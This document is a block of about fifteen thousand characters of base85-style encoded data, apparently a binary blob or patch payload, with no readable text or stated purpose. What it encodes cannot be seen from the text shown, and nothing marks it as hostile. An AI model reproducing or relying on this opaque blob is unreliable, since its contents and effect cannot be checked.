zPaT5y&v?=@MR7-AKua9AQr|GQe&VA;ilat!>ox0u?m*`0nw$r-oPt;5j;OV$0Y~6<2G`{L>v1Sj=G0BRk`6ZJOEGoeXo8iEksw4n9gkwABK=gvtca?7Fe*wL zhSJKr}yaHeP80fr3XO@g799f-77 zYP7R{uXxsW3@E^%UMh7D%Wh=zqfH;9;4n`IAo&04>#3IO$$&~<^K=cx^pz4ZcWW>N zfnL}qd#_i|ia|KbhX)^J+yD@O|M~!sKv7VNVL96K1uKX25MT(NpwXm4rSR*dr+@L? zNeV0|FM_bc;~op*bP(+cKo3An8S!3w{#CCWQOe(&FovwI{V=T-$EaD}fPeXl-ZN?p-b`l}ejYPw|i6VW==S z1nvX7p1@#@G1^=|lZu|SQeOp{{k%VTGq0R};a|^XTl{a|c>gy^>@6V*bVBC4+1(=^ z*vXr>PkSGxuq~0dPYr`wuQAl@Ke0lc^Y9g>4_s-0DtyXI(wk~l%Jq$7|qKDNG*G_o!A;l^kbAu2wT&wlB=n@qBHzPw5%zi2A>9wj3mhqGft_S7=D+wLcS-^{TWIpWqyzNC>jYK)pNldrpZ> zkY1h>>{F7as^@&EHX85Rg6uL2INsqr!js3!F+@!55R%s-f6sZudc<+qd13JELkaU8 zD~y4@N{t9s2lqn@lJd{aM*7vjF>gb0 z!!$qDI4d=2H$VDCz|DDgqn+Z_pXr2s{UC<-alRyY=(WJ0)Td-b7{o~tWuYS9Z?E&h zkehi&^Y99&^yK>c--0Izhg)YhRW^v<3qlCq>B;FTmhUUx6Z#bG9{nE8{$y=Yu1xcR zwqm~I&Z3OWS4c8F^-R(fH;Xt?og((JtXwmMn0ya&uBvPM9)3 z+fe4G1pW)KEr+4(72ed=kJnb3&#B||r-ra()q&5@nKEK8sTYk^CLzd`7{MCS8uNcC zGS+U2p%<0VA%qgbKUW!DD4=Sg)aTYp5iYEz8fK4@Sz#ZZi-0`u?QYnsf8sHrm#`=w z@5vqi05H?|(`ghHJ!OggQXHPd30934M7Z)ddTD7KUFfnvqfkuw|ast z>Byz9T{Y(Alx8thW`o3hIvYud_JldV>^xA|;Ol^9H<2%x&p*y-m`#m8lb;BBy-R|G zu$*L1fML<(fDi`uO9&=(^qDiNltLquJS(v`0?IwYhzCi%%J}NmIAg)E7Nh$Zu}9*L zrNGpMhL0<!5kJC zhtQY;7svTJZZbd@q8Jr8sb%%Fg(sqThW{@GASh${BDsJrLF5)7Ff6Kc@+0J`5*df! z<_J#LofKlzS*LXZpq7ur;W1$4sW!BKE`QaSY>wq0-N%p3jjVbn2VoOl zm0KTJ8(#HfXzv{N`+tY0IYBXVO;PfAOzN!JyQ4ofD5jz!AkO;jyp{5~w?Vq%RR@Sj zVIx{M@2EisM|KP@`n0t!f=%5v6hJUn^{mL{&)jmTINhZ2tcXrXs9vx=I%POMq-L}$ zW7?gJiVc$~sml1%HwP$D@5*`SG3-HF;6o^QYW#+CAK4wrlxH&quhswRF#RO;H? zId<70`E~7XaowRUv)jlra$6O?FB=fFxScL4!i^f?X=mO3b`q{hr zd}mfsW=ng?chm z)@3~|ngqB_t#LO8+K@)MNABdJV<5X@n73*b&q*HX?vE61F!rw}Jy9Ux<{$Uin+@-R z|BX!Joa7w6br*g2fNe}AEa6}OPCEgn4&om2anhOGdl08PfBOhug(DMj-?35l&M3C} z!N~p_DjdtmJ!PI$C;qX}i|=&kL;(8-s;Eeg14s;~i2dGbGT}6)r=b^kS#QYoiaSu@L4QaEBB@^) zDhwFBSPZF3=|1tkFH|i>a7TPDvGM80oi6+;L+?Yvg~s%01kN?l%sldLm3HkO@1ohk zPg?>4Dxb#sPq$i!Ej3PAMjg|y5jn2>_88Cp1+gF;(epXf5wxv#1VM!@SO4uGJkZH` z@el2sW=7!nM!*bM|xOE-z7xoD@{W}dS15J9kH6`Xbe4t^QI(MW(H(G}Z+*g1t% zj<1JW2>zzvo?JbX54HU`U98<;a?z~XtSSELECn|??0W?CBfJF*LK7qGWm2Udkn^z| zd;C?ggTkt5S2I>{tDPCWpn=Z;y~58{E>rH}qLq&4Rgp4L|2To0XeDieahrdXMK(TH zD@j!)Sg~>oink2_3iN_!;vJg^3cyh#GRuJzR;q+$F zETr)a02pIgfLFDjh2sNt&;~sH%{M0L0N=54FG!GHxT|84&$A0lvDIOtr)DN6(c2|w z5~j{qu+IZ-}HR$&Sk``)(R5(qTwzA-1Pqv z%OsOMxQisFCVl&+WINq(1k{rjp5&fg0GY7mc~hp|v{1|ui=g(Z&1t%UfS6s)H!h#(ki;^KZNrTe|HHs<}2S}2T(^=XkPQB0_YPEWAi>10~S{&C9~O|(h0`P`@C>UI%ayhek% zgir${jzCO9tY-_>U3@s+T_?{{-EWJVx7K>JrWWpQIRG(0&cE2}61Re2)GM9I!o+G^ z|MpfxASSkpS;(RRcHkCOT9Z7@w0OnosM+*g?cfBti>DgPK z_@)?sf76zCXsodT+OAC#Y0?)5TJHMO?mrhVwcgB8B&jpv0Q2?M<|`!G%b-`TTSm$+ zcbBe?HI6!E$JpyI!LU0O`se6mQ!i-?g9AA!$(@`KZ$2cpaAY|*;ObvBGhm^B9{NP$ z-5CScOzp3#npashU;c{yYZrW&>4HsCG+cv0n5(9_?=S*CQ71$ zF87Uw4&;JenjCja&?%Qsu%v0dHN_HMFfsHlSlx|PV=TqNtRUxA&FXTYr?6u!+OtJx zfmXy{gxsmE%Ev^df(mBb%4xnmD_7c64= zwA^(7LG&|Xf-&mIXw9nM_alRKK;kD!mE1Fk@m#~?e?MR^{&X63hN~&5p-{EM#r)t< z{~CZcr%?2XWT7pG`lgVKT*)c#B6a==E*Sd3LP+zpbKxRhtHbD!p$UM4^B!xo_Z;qZ zHx5Ar{~r6&%XN#g3aX02`-n|_KD?UU5V!}(s|7>f!8519vQHX+S3#f^3&d~*!~_rU zHBZbCMdOc{{G1}b2sf__plm6tGt> zzWD7-#BI~#NfqA-JtA#o@Jp0QN659c;M1*N3v)aWcts?Xs|8pd`BFu`F;g$H>eOTe zl98gcvT>?M6ldnbfj-F(57Z?AA$R?{@ z1`9Z!fllyvQ>Thm^^Uq-fkz((y4?TBz5-+tHtfQ-@!daoNU3$~$10 z@4cpVe}wSL);*^rDU$VA+xp*aalYIbm$nXE-z1nOoHmWW`>^4_SumK9^dgVh*1_|` ztv6FArPVx^>Dq5HruL;9r>Xs>=sgvvOrh=rZ({&F77H)2PQ=Y;r@hA^PV#neZkicS zeWw8cqvu2dTu+F+%@36&wmp{_G7-M}0PwkNUk)c(XFVa^#WBkYa0&i8K{|(3V=V{eJORwBqj_^HwZ`WQG*1T7<>o?}6y& z2sj!c;PuDQh)5fX8OHwY3`e6p8AZ_{Cib^BB!eJ}Scim%U5#^pBJRWYRRLan@U&=u zzPI*2@fi3?%X)j%df%*!?g<&b=8Tl}7ed2P#F(2kbZ_ySIG7rL)n&`UT`fI^=Nje} zFT?AHGhT7*#^n^YA;Ul#dQ`V}2Tkk{!&%l`!;9m{Vxf$KjtlLRW`<8!eUbr+$+&v_ zO7(T`j<{;Pk_YY$1D}7v;uY!O*B9=$_^$r-6lD3D1-rE$LH$+8s9-B#>a<)b+bscs zmbm0TkiEITAF6zW>w=piC@`5ZC{%{A1=Psm9MR0cpt^6Wha#k~TuTZIfIM{`PWnB! zthwdNtKS%k=!oK+#ubd;UR`OKUB-FEz}BQ#U;Oj>9mm-@Jj%&MotdWOynFr6-?O7Y zgcr8vGG-Q-x-2gjtS|t0oA;H72QVSQQM+{ z{vu$D?LH&%WcU(U=XvriHx+M1Tjp{bch!lyue&ju1;tjp+l$z=?j}BW>)*L{1a@MD zBZe}uJm9X;2Eo4DO1``$ZJ;jpF|bZf+3efP=h!S-?NrCSCB4Pm&glNQTm0T;?>=6? zBVqleM^wv|cbG!n!M(*uZ^;>qxxtjN_|bci9agSsokj>;)m2JVLswC;x1clA&N$Ts z7df4YxiP*%>VQ*}`M^2Nvfq{$Z~ZHEiGlZBK>!mWWs%|a>V=e(-UxEJe$VDL zp3?qD3)S`EzD$=U?V3SHlvp#6y1cYBFYs3oqvOVK&9gI9(QA?DKnWG`8C-L$LPF3+_JgEqtE=;nSGPxe4x~MPzYq*WCw1Cv`*Q6aLv;q2?dVox+H!A zB-VDRow|za$KW4zOv;99Q6+|kFXemkaE0@4CIh=Mp;BlUHYpTZh2xWBc2=u0N9YO0 zTCC$rq4HtNIWq%%5gf8}^B4<|m)MrLd5(GcR{vR}?cIAz_J=IqKJsbhTXzIex!Evx zeGA^-AB|}7LgiG#P-&lGeBoFp-XBpyi5pSqt%P5P`cH)C6}S3sKw8DU`SK`kQSI7= z9y_(0dqMJk7{S7t0MFf-R7g5y6d!R51*H?_JY>~9gCuFGTh7||!)#jiqGRyjM@}-8 zaP^oEnnIIe{o$FvsywDr`Xxc_pi+5eWetggioKWfi{VAt3gv+kueD#LUWUY#Ulrs1dcQ=9(4b2 zpDG~9gh+Bh+ouzm5EU1PAWv&auO932h=%yzGsgvb$4jet_FY|wqy70`ngIEo*Lp1m*UkV|FQ#`BNtXm3ZYbqV1?6EX8U2u|D#<^u(1rghb_% zSR{6XwvJ-(|Nky!WwDT7QdX{*U;bdR|m^cA&w$IH@C{g2tUt}3OQw0#(1OQmg+jnV|0BUQXKpgyRrwe1o5 zB@?5fC_R%x>Iq@jcgK)F9nS&8lb*LHu>rU zhxERdQrHYqQ)j29%>JnbZWOV4-;)~Dn|6L_wO;sSR!385;_CU+yl;3;!hi|fIo8va znsu$aQ(Pw&Od7~(;FFhqzv|j*$DKO?RQ!~b%LmV_uGRz9a@I%(-h_fjvL0!)Gaf`h zsVmy8=Hse7$YNQ7ZgC;Ps-@u9PhPQK`R}scl#y66U`S+M52hi zJ6*5T->DGX2CH3Ju=k2WeKh@++zhj?nvgG|0#MN?G|IJ#M5??)sR!440d#>bI|D$~ z6ID;0Hd!12xjCnAj^zUSIJ_Ac3UVltprna2kig;?(N(X);Os? z&^{q6KHJ{H`W3I|HQ9JNI<`UFDO-sl=0~EazV)=nwp1?}>u}1=TPg9JA!2tbx^`2EdkLW$br_4i9r!bfyHy`ATbvk6Ag4YJj|JG>66k`YOVX651S#1Q}Y4lKN<2{uE}Xqi`_BZnAOZ-uOsP*nO!D&1-9ohQht( zO4HcqaOB)Zow~h^AbtZ(EHqBAsnM4D!9kqbPbU6TOu6y2!BDuJWD(pT6=SDx%yq{3 zN}g<5ETh{GI2%v<+vHC8%vhvcm+(=ANN7^2YBZLC0gG;sm0&CVZ{QDJ1}~sXcwqS9 zcly-*FuJj`bjGaAaPZu8$}PbV6DRVA*i+;*&zsYCh?mU3Z4ILhY-Q`-Mc$=Q)=hsN z?M1pj$nJ^F?n;_b798zN3i0v3a0bx9%D%u~**&h%-q`Oi^Z(eVofLxks%?<$uK| z8rzOv^HWuKubd2;mfjL8O1}_bAG!AcY0m;qiD_`Hmv1!4<@u}AJ_iuoS`a_MW zvRD}2KRx2I}nRDD~@5iOniiMu%{<^JKqnuX{mrMXTMdpL#7pI$}8_NIap~uD| ztN0&uR)*AMXD%S7mGya>w4qv8KI8_+z=MIIo59-LyuMJqBg6gvJ!D%N{d6^3!hDp2 zBRk`Nzkcaw=(!tTRs{ddwEN#lezEP@^4MQqHhf47i&VTj_mUu0sl*2xoxF|?UixYE z$!A+berDLdi@$p#@8;=I*3U~fw)CC9@xV6q(je{4KmM6^wy7Dm;Cqk?d$6NnC#Jmz zb3h%m1U?=^O$VnVdYw1I>ppm7Ek&ZY&b-@BWPbRZV~3u`%Jm<9%oeec=YM-UkHmQ0 zM0tSOOAi*-pI$AuQYlwXCbb=}&s#iHSeOx2UuZHUzAkhs6APCXByL=%NGz;BS)Vt) zBB?$-qA)QlJ@Mbfu1XZLaP+1%8x!j)$R0Y&6TSg0sg8}V1$Xdjpih(^Gh)#iM zgBxhX5SYESjv%QNA+&~ss5Zk8Zv+h>W?GJqA@V=lMa9QIfaWiL03EKV-Us|sIH1-5 zZ9}Dxt8tKl3$Mt6L0f|+GhG(UE#a^L#25lFYzicKGM*Kro zWJ7fN@6Rvb`hUc~wcmZVxRLT=oo>jDyvvIxk&gJbr|Rm(nV5={;>{=Qhkl{_Vj0Wu zAMQ!%R5;upkE@WIB09Inf5#wQ1!B@;RkcGL8dZ-Pn-m?6uo^Np7Y<2?5J)~EmBL8` zm)6OGLvUY)CZzhZCCzRGPu88;Y{@YcydEyJLr5a~MxIf?^0CLKqYyPzUWrf4Pu9fg ziu-kFvKVMG!HLq+WH1p19=F_W`8+wez9YIjdT~KOk~bsSJJCJG7yM(_@axveaRge6 z;DTC-?xEwH^x#~vOWHJ^O`(=rM73-|*5Wl`>Jr&>fRQ4xWOf|vIW%DFtN5t zp%tq|UL50oZG#jnTNRIyi)FWAs*H5?i<(rRkZBwrAcA{?|74HmK2V;PKp zH@h&kg^}OGnN4uBL+S@dbvne_1^QZIOV&-LHWM2!Am^cNBrcYoq|TMo^l-W&9kxhJ zgA9;{Zp7|F7z99LWIMqz^aci72Seen%-@@d#N|K-peO`f3rVFga3QTE$UZz2u^)9h zq72noeH^_K?cg6H@Hy5~2w32u92?w|O0HD12v1wtM666j>D5GS75;XL0tFHJKJ6Y3 zLMreNVzrj2)}xA666U9(_;PhVCA!U(rj@oprd(eS)Gweh+tu|QrkzO>%mX9I%2Bguk6!Z?5_~4)< zx)*_I7=ZgdRX2(TS86LPjXu6{v3}CWYOl-EFnhnN(?&5sUb@mKmG(-E0eLGCV5f{m z1A$pIrXG$H318C~2v9CbF6v&g_>A#BP0uS3R9m99&r)Y*sFWY>cVuiQxM-OM6H^S1 z*`BdcuRdF}I7YjwoK?O{8Z@Km)_}rgKWm?}_p1F(GXkZ%OIRhVwa#TlzYQsz4>YLA zoBpP-DIUPzJ+moq9m{?5e6kK%THr*U!%Dhvr& ziR0@Tu&gyai9Bw21IfBw7;$c5%`@VdHb`2DpCZXHEdm_lfU74rp&u3eGRA+U7=DQ92L&<83#@PXbOd^ z{C%|wm52h|wsXm36h%c5k6fNFIrP^K)SW$W^kjuNihh|O@zMyK)wY5SaT10}W@5B# zVy>gxn+$lRH&?Adiw%N{m zxVHwl0Y3r9j}x0pG?inBq9bVWlJT zb^?ceM)(ZL97vg~VstYUJxmV)G4*gNj@ig2@Z|4eB_UJ>6|>xEgX#YhtLUOI3iDWO zJ*0HABzepb5`wV+%?h%>X}SOo5m4Y}X=W1gcZ!1OEqu0gMOLGbLV<(kLtEu4Tcs;h zmh0N@;26JpR&e+#>JlCz>0{rE^2~b!tSA&rv^C}BgCIDnF^VWkIRst@pdUaEDE9-a zM*2lw6~X}#5`hje6;<(v3GE8U@5XK`8Disrs z13U!i#e`46Bi&zviWDdJB`vzyta%6k|1dc%b|tTFN9coC2&*5UmiVV1kZ^{QFJ)Bg z6inwp#@51d8vy|U<`Jl3T2Cszn!l-@l1(nmTWk=Xj`h%SwK02?NeIHTXyu6$L4Ktr z4z&F?a80tv+3Z&tA1vVVQ9K6#$RtPZ7B5C>DLnjN2lA(XPdaU5A@TH1FZiS)hF1yE znv5%;#|<>*5whr}nP4SplRukXcF~|_p-Oz8o(Wuy>qyX=3C{upk4)!qlx^E$SS;@H zwl+4V?`TlqS6hX`VkQg+M&lhDP-xR^gE_G{2&O>s_Uhlxe4hUJvE%j{e5r?xE}Td)0~D(A?{Tdp7A7l++YhI%cD6D-*Rf<+D<=az0$U za^+fk+`hbgE<%pP)mgwfZz*};!Gr$6JeM(&_^;~n-0Arm?Q|C^o6RxhoIxpmu={xY z3WfaW>7bieB~nIcgGw6JWNlCTYx?ZQLLE*p;!>U4fB*do_)OM*6DS2C+gCq~Q|g-{ zAK%n#c5H>&MwVluc9JiWqYjsD0weLOp0PIb$5}WvU!{{vRRlEW2hcPyVHHxPW}sO( zlSdRw+|wNXQQPRN#U^j`zEY^_U$ee8(w^;Ch7gg^3~cnsv^Dq%?Dck#D1 zx;?QBzHHT@HG0dwh8081V6UIzfn)-Y8ohFL$Cb^_Tu1SN#7MFABrM+R?XS1@A%J)@ zkGGER)jY?)a0kIOFFZ_Em3=YX8VqVkJA?k+-7H7wHiLkNj~wr(#30S>1&zK8Z$!Q&a~ z;WW59n*_>HV@w2Q3m_H9;qDOtekJ~Sfs$ZEuMiLr5RXwq$k{O_I$EX>k~lOTr~2T> z_RZ^md>U{Nu&wO=pIe9PJO@i05%A}=51R}ck(WP<C7B<>ibx=uhnC!W(K>N?-jN^1?|SMlfj@mEu)drcFsLT!)s_rv@> z-KiehBl(fih< zV5qy`(8m{oBlH>TN0PEN+@htCWPSvntPPxmA|J$&9zkBnvDJHO%akc_^baWe=@pps zZ!_3tr*sl)uBO`)E-raEF56bu{ksVeU)+RK>#FK-+x4&t6z!(azA7bjBChXqaHDUi zOv=I2K)1rP4Oa!^QZ>FpE1EbK8=g5n$``_=M8T9T|GfK~P1Kah${#r<6kPDRJfR+r zTzBaXB)Qa0TwXa}MCFah>91iJ1}RZ40JU}~H+B|)Bm~=z!F)*$v7G?+X1OE0Ds7Kt&l0F^ z@%QX^uxtVw7^yGuUt~~kYg7V0i5~y3*TZ_J#ZH;GYxHDcdtsRn=ObJ8pc#4ETPIdx z=nqtjeRm?xvj2NP|Hw!U;K_Lb0{NsILaa>|8J^q{p-K3HIIVs|L!Ios`<;}&k(WIr zF1GaEN;8=k@x8;DBwydm1uF%CsiF;^mGdctDU_wDvi~y0+7&1JF1UEZR_i4%c;X*L z3D|gcktB6gi{*;kom2j(x~B~;0NX3`Vkbg1L`QM1eFZjYWz}{3XT%JtzHg;F$mM-@}8~=&)o2xkaZ)HpwqzfOYMAW^N*KU+X0Az0bC+Z4hP6f zxEAM`1}Q|)ssX=Y7cesO2MK~Dus@D2$>?ZpECnAqP#DcY&d>X^97zB?5+W>?rG$zh z9DMXg4;fq19eKm_`g21)T7okd9)MYFe&r-$V0q_l;Zq?%QgcuSi-<5~Los{##XyXa zs-e6tGasNQiUEmpW%+qjHKGYw?)}lB6g9Ug=Zcq_Zd5~&GXa1B$NpV=f<)vu4_41@ z1rXZAmFPr(#~6k(rHXWgG0B(v>83^u?&J_05LUUZsb~pEEb~tGN)lrUHmgX2Qp5^o zeg%Fy1bCY4m4TcnaM}UUU(h;!b0#}*YugUQEktjtC@K;B>P?ksQNh>L%RvYnsw-SA zWguyisJVI)*dWXjGv9@~w5{z&12@^%%ey;lg z02YF>X=0Hfvv6F0QMm=W5r*K#Dt5OLM}*4x+e-1xE|--;O`A3%3_L6UvC?$|OWx@q@3mXq|2 zl$j1Gq5~5&oWEphI|>EFLx4N)%Xjbmb2zQyK3Y-U4}O;4EsBEG4PuJjj4XGPf<~`` z0OBGn+aZ2ZjNl5QPA<+6dSP=`7q7lw47xXR#j3<{pfYJ8RUY~CPV0N7j%sODk=qN} z&h?ZvgWd07KcZI*3jNM&j@NQ*XFx}$Q~)P`JKU!~IP7^xloRH3GHzzk!b9Pxk9YI2 zm8tP@tSEklrE676T&OEgrjTF6527e74g4)Shob!|B$G|xAJX-}k)FgFat3UxAV##s zLWBig!2~kD2+}#p#_#u*8cka)bX%^feMZqDYId&3ZhSgB>EHCMePjK-cEgZCcsM_( z-GR+sv*^bX_gBULg^1>+QjodRyHx)NagT?$2lw|Rb&s-G=l>`MLecvL|BR$f4gTnPlLm(IT+RS6t%{4X6(gCaj zMYjaVk7+Z)rU$Toq)mCzm;%K%!)<`U0~ml=dVpA0JfjdZF9_BW(}ZWh?kVj&12Ubt zoUQzs7}bfIxc_^Mp&X2b8^ZEbnfo#u)_#nI%NzQ{(6;w~{RI>=gFK6Z!wbBY(oqiW zpvi!+*$mz)d{pFI-5c=l=E`uJZlqYTuD=!F!^thTIB@&2Dd@qC>Dni*K*v(~q~3m} z_101R_?Qn`viElOlsT-GJ(YoY${Hfs@uvz zLsYv0oIT@d+BHqKe_w)W{Kn!Qx4a#hqz2^scxOkn_T<9tOfGLk1b)F}iocCytu9RV zgD+o~HeI;`04kkX!Cnpm|F`g);+g~&)LPW2l#o#9FVRWFI`Ohs4(G~-`U+k*yrpp7 zV2SHXhIelE&hQGz3`(r82jBOX%%5L^vEP8@)ttCzo7B|UVB)@_ybz-zBpHq=W!3fq zdnW<4a}vW;p91$w$7EzV7kYa-2plMTJ~|%#-uLC??C4aRq>YYU0fCeJ(s%mX1TH@&a|`!wv9V=iX{hi)*u1t$OpT4|qfmypJ1B*pD2<8b zAsKo}X>n?xcw+l>mPqF9e>mKhb~Hs1x`gGc`Gr?T=ux^PH^7i+#dM#?7OE- z%Zs-Kce1(dT{PySAVR1#y|h+B4T~3h(6Z$*$sS)80%)R#siDE-o#M4IN(fH~{kQ4i z=ikCS{6tvM_dtKKzJwCq8}8HVQzmvGcR$zTlFZC9xjQOoU=H2JRook@CLZ2R@(PUq z7xS@~)QQ6X@4?X38k_ciUMqJ(i4OkakWfaUD}*$LxK+7NZ%N2W@pd`kLhFn36YGOF zdhH|WQa2r9i8k$bW^Jp`glb(OR(VvAV#}qdMm)S&3;>lT=)JL40zWDZCu0ybX#$pZ z?8uySdn#6L2{OFFj3JAy@~FmPNlKcwP))~6`7-`4U^!4l>x+8;keZo{VXR^%EsC_t zLhkuLR_MrbEDvX*(o7WN2`0ppi(`}Uayl{c%#Y#}7Egni^vAOqIWs0@VtH5_=H|&6 ztQ~b(4PX;u85zyA>q(0u=$=1R^2k}VjE=@Ly)TJ2VmTi(Jp8bD+Qwkb4!lgolte3B zIHf6>jJeyBA|m$?9mG)>T!?>?kBmg^;WFeH?_eLiQjbM0s0pm*ABb{n*zagq)Y&)QX-gyLr>#}x6K#Tvq}~ygGdI{Wg6o$2TX6Ri6&Md`E6z)g1lOjJ93rMS#p?+4 z{*#VGXUwuOMALLA5Ozu}>IuPkHR-ndACz>aE(Psaiye2_GdWOJEU$V(TKg#P_po{0jFuMRY+5$rxK zG~W7T{13}Y<=)1U$W9PESC)nYfLw}4A6(lMQYx#bYn31xZXRD89< zDh+G)ZEZUcOB@qA#&1>O_9#L#NVsP#@OLy-Iiym~(UqgCdA;>XhK)^~37wX>qHAhH zg01DsZ!oe9Pk+2jT#^RQ3eFyLSSWXClO46{ob=X=M;TO?Ks|S1Acjb|oGZJ@{2T@5 zu)HcR;EO+2Bb!LUdv$8Gn3aE{LJo9ckhw?})MA7jgX2=h+1N6K>Wy(?3h8F`oa6Z` zYOq^0(Qls*cQNKbZGr&hfDa?~l#3Of^oJyImV~w%=JzL_LwKR^O};C$+~ua|b*vNo zQXupn79ao2Q0ukf`@NpR5Bzqb6~DawcXlB>oFM&!TJJPL28z+>&QM(Q8?B8%r@Z;d z@=D*fk~nE>;w)DoV>ppHAF^e%p~!*g`pT+{tQ{Fx;8I=(z#lV!?p#d-YTvMF-0%8N zHhh?I`>JTH$Hp=FSNfKS=@p~*z2BDsS8aFSF>{9DetS8l+=|kj`I1mBiK^(di9=+c z=N*S&YeEI#rFgOMtRX~}XKW|1F5&Cx zDDCNz44x6r_uyw?;0T)_7iUw`^}fFA^wUmG`6B1QAQS91L#M|xUGD=~elgv$IBv45 zOEh@Cy5l(YHC)@ty%ob9*BFJyYiBnlZt8P0+8N#Z7NgHzGpdc(f3wrX+<++up6plf z8@V=PZ>Eo;QukDF8_`o$6?>@sHa~77pSnjF6LYJ)eEdC?dc09}3;ex;;JJy|0TP^8 zREzz9}3$!&@nhF~Mx2!|SqY@`FUsN2Lx>q_yTg`be6>mCVi zr-%nYe~Me0N1p3jiAWoNr(Hz9d6%6p;;c;LFH&ceXrKz})P>6ILj5ruV0t zH=u?!`+uM9&Lcas<@-8sMI4tdfa~Nb;F~acnL=gwF7{-lDIl9jRGni`+pz&zNv0sw zPC3q~ph~e4laoscB2!{w1cKLBulD^sAEVyRc7IXK2k==`P-+=Y!eGyK@#^Z*5{nD{ zA_mv@uesXwoM>Oms`lMtGa3P$>I}RyWZW(e%4J>_P1WMRm37BoNrgI@)z5^4}(gcc7yE zU%4T{n3#%XkBz=hdQs&&KuVNwLBcQBs;P-7J|Kf8eEL-juw=% zEhAb8%{|kd#;w_8CX|*w))_tPE1LzVRmsS=cewhrKL*#_UbQbgt*0wpw2entTSC;} zhrJA6<&kp$4dK8osj}(SI~LG`*nkQxo+b+{P4O9-uoNvm-n4b)n{CbA?5b9M<4&xR z&+j5k(2v?JNRw&nGvbPa{qx@#mMz^4_e3y6#-rmAC^4gN9|9>0p&p))-rRL%XyOX6 z9J(P(0pxZ5-zQ*P=N`%OJUghiRJ3=_6y$gdK-Ub?5N>sBbsb z<5`y2ZhGX<*-1Bi_4m4*TQnFz21y~KLU!0fDyx5T+w{Z71}Kyj84+(UTKC-u$SjQE z5TPY5XGPA^8Vxkecf*bHGbM&9J^+R1}vY~Zqe#;?8e;c{sZeY)rT)dGyn-;wOa7gojWVx;T#0Z zHmNJbIveJ-mib|T9=QPM_3K|8FDF)5Y@lG$%Z1q?tJI0VyIjT8>2onnYQXTIa#kJy zs!ApXqy!)X3OW4C5fTW2=IUqo#UZ3a!ZZLBQhE-UbxSarGQ|Xt$GmL-SUE)Al=3VA zoz4s)D2n8^VI*XE;CT)zl^jk4$$*Ma7xX!inz(g=rKOfqJ{LA2%`S_x7)S83ZY3rB zCC}@~dad^3o*0%Q`xX~~n^r`jFwpVL7B-N?NKO+09vvb_Yqwl9&Tkv4Ue1gRL%;;l z;z&b|*3J&B8v65;70S16%rjz$Q9=rgC`_;>M;9Z@&o<(A@|NlF)PZuRZ-tvs21VnJ ziSV4GJm?e^Zv%9>akrYx-f^t^pnU940$ibr8sOEt*JeKo4Nx&F|B8MmLn%{UR%)X0 zT>O(MS|4G+FAvfsQs)vwWV(27C%SxT%H4FeuP%H%8P?R?MykN(Jv6^GYsiwU=cECF_e~~khj*%~W>6Wq}c*!bwd7;-#g4-|z+3<{IBBd&4>v^LFO5!Tm3SFMS{LaD(Aqei5?`w&Cg8ihmY%f~9cY zQ)9=BhGorJZvDPJJEuWu=+!bi?#DSyO6S^rR~j9k@%{Ap<}Ef+#L~?pzDMnF_WIi( zCJu(MdBQ}yBnq58aMHH<))(?uayhzq)^zK6`pwt~CkO+69i*H2?BsseS$%1k{eovl z7MpBB6tNBf2IZi^CmaUZJPI-}%F;22Wa6Xzut->M4F*BxOsTkj_6}xT(4P4fjn{6( zS{$H8MJ0&vjILs}T_OcFeqAFH=%i)&XB(yV=-*yF6GGoc^ud^yw~I!_`NTRxIPjqc z5PiW%)k<@t+TxEJ{aL)Thq7G|vS>~lj_5R3Nx3)3CLJ`PsQEArh}%A;QF#(^V_rX{ zFp!4Zi70>|8R$ZzBPoXlBWs`(;h>fX#NzvLk&X3!tHpFPM{M9r7F-U#lmPC8K2*+i zL|_HufA|AG*zU<5`2(EX11{}+<>Mo6@3BBE@<*@aTcCf83`S*)j1T6%0*!V#HwwNw zyMKN@%gWrpPTyN*a{Vj${Q|NKo_-hid}0de83gd~Ml!Yc!Q-w&xjNiZ;$kbJ6Nt9Z1XpM_iM~m`mO0F8*Nm{W!(^CNpMdml2yJM`y~flK zXQ#+Wr^E=S-GDP&f{(v@+c^~sp$;e7hye8TOiLZJrN09R!w&HQR5eW>Ei_H$Wb&09 zJ%E?r$MM4$1cBiB@4gQI|6`YngC%lqWMnV^2aA_2o2nz#JJrzs&gsF($UDa=r?<_BZUtDgI0V~5tzeU)`j=hH~_P0 zE>7+LNUR(|kElf3))jDx=68l@R0)d`4_v6Ma=za* zMTNn7p9?elMz13>)$7Z0W?l1Z?m+M^A$h$Tf)+!;y<>r6lZ9SRE%#>Ke8DQ)wmWLg z7W+DAXdTcB?||MofY{Cpmz1p#tEgI`&MiYD%e3KdM5?#8HAi+N2mLq#jkFPtyfhY! z98tX?@P@aVk8<%moASaWr~JZg>dHCvYPo)!@f; z*OV6UAZ+k=*Xahiu*O<8x_;|dd8c#-mXF@(gmQ8mOOd7d(2nB;0fx&EH>`uGhMW_H zO>K>hNm9VEC|m){2;7Kagi#XWh6on*|039>z%I>Lnq zXcl*YtPaU0x;yNXsud+6w?>Uhk53cA)Qd1W#o2iq8^ikA5zlb53^(mwk zv1GwxN2l0;z}R<>Nov4d$7Bl%B-vd}7d?Dhs6*TGvnl@a1G_$$)c`pbfazo2J%ZOA zm6G0}VD&2Woh+GbF*-#u#kYhzxSZ%#hQ@vp9{jZ_Bt3X2T2mGw3HzDujn6;>EG<-r zXj6S7lgBv0Hy3qsw_5#4|D=-Ej-HO4JjfP54kB3F&<(O)UR)d z*us^OL3)C$tZ9un4LkkeSnWsc$I6f8x0|FI#!P2j9DF_>r&Pnpg;Gt zOQ;xZk5u_?=AL4fd#u|HP5SJ{di9XdsB!45k^}0#agP^%1|b)9X?y|OwB9D4@@j}w zT}?He7TETr5TW+|Nq!%TC2TIn<18@d2&)R7Q2gV0@zifFI?Qz?jNq0JuMN| zxL!SAyGH)7{`aZp;lwllHJtw9Wi$$)=VHAsoS2lA_h;dI-%7}xO2v(U1CXiwP*Kx;FcVNiHF&%3)#5zgb&;V*7VU$X2JiT?KO@}3Jq6X8a8U$o zK!O&2Y9aRm#V&YIaqV~h`ZRl~M<$+??OJ$RVlaDKbd zH6=`82Y{PugL#Y~F{TAy5l&0%ZY{SgFDqZTgs zDmxrQHGq$AR!~0l+kC=#@`?;~Rd`|uK|vDT4yP z>YePJlv|A>8R(r>j!v5jp(4K2?K&WdBMH+QEczo>kbh{@$ zYc|3(-x5<7$D$<{T6i}gLimv(%GkaP?0kvMnv@M@V7&>`gfGpp&?O# zE+WZk`w)TG0b-_MRZnB|zYn09!52>_LTu9z+3-&f%GoN8ZjJzwvIw`>k)exS1yfuE z3lRM~tj<&Sbsbk}@&!Q*9K6ZDsL}~;JnhEwY-08S8F`vem%TPHXsGJ+5x|^8dPyjl 